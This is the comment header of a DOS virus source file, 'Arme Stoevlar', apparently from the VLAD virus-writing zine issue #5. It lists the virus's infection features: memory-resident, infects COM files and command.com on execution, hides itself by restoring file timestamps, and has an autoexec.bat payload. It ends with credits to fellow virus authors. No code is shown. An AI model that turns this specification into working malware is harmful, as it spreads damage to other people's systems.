VLAD #5 - Arme Stoevlar


;
; "arme stoevlar" by Metabolis/VLAD
;  army boots.
;
; Features.
; - tsr, infects on execute (4bh)
; - can infect command.com
; - won't infect exe files
; - won't infect com files with MZ
; - infects files with any attributes
; - restores file date/time
; - won't infect large com files (64k)
; - won't infect files <= 1024 bytes
; - payload will write this quote to echo in autoexec.bat if a random
;   number grabbed = sweden's country code.  (not quite random.. but still)
;   "din mamma har paa sig arme stoevlar!"
;    (your mum wears army boots!)
;
; Thanks to Qark and Dark Angel for help with the tsr code, Quantum
; for sitting and debugging it while i was coding it (and making a
; general nuisance of himself too i might add).  Also thanks to Antigen
; and Rhince for helping with the optimization, they shed many a byte ;)
; Oh, and thanks to twl for the swedish insights on life the universe and
; everything. (heh)
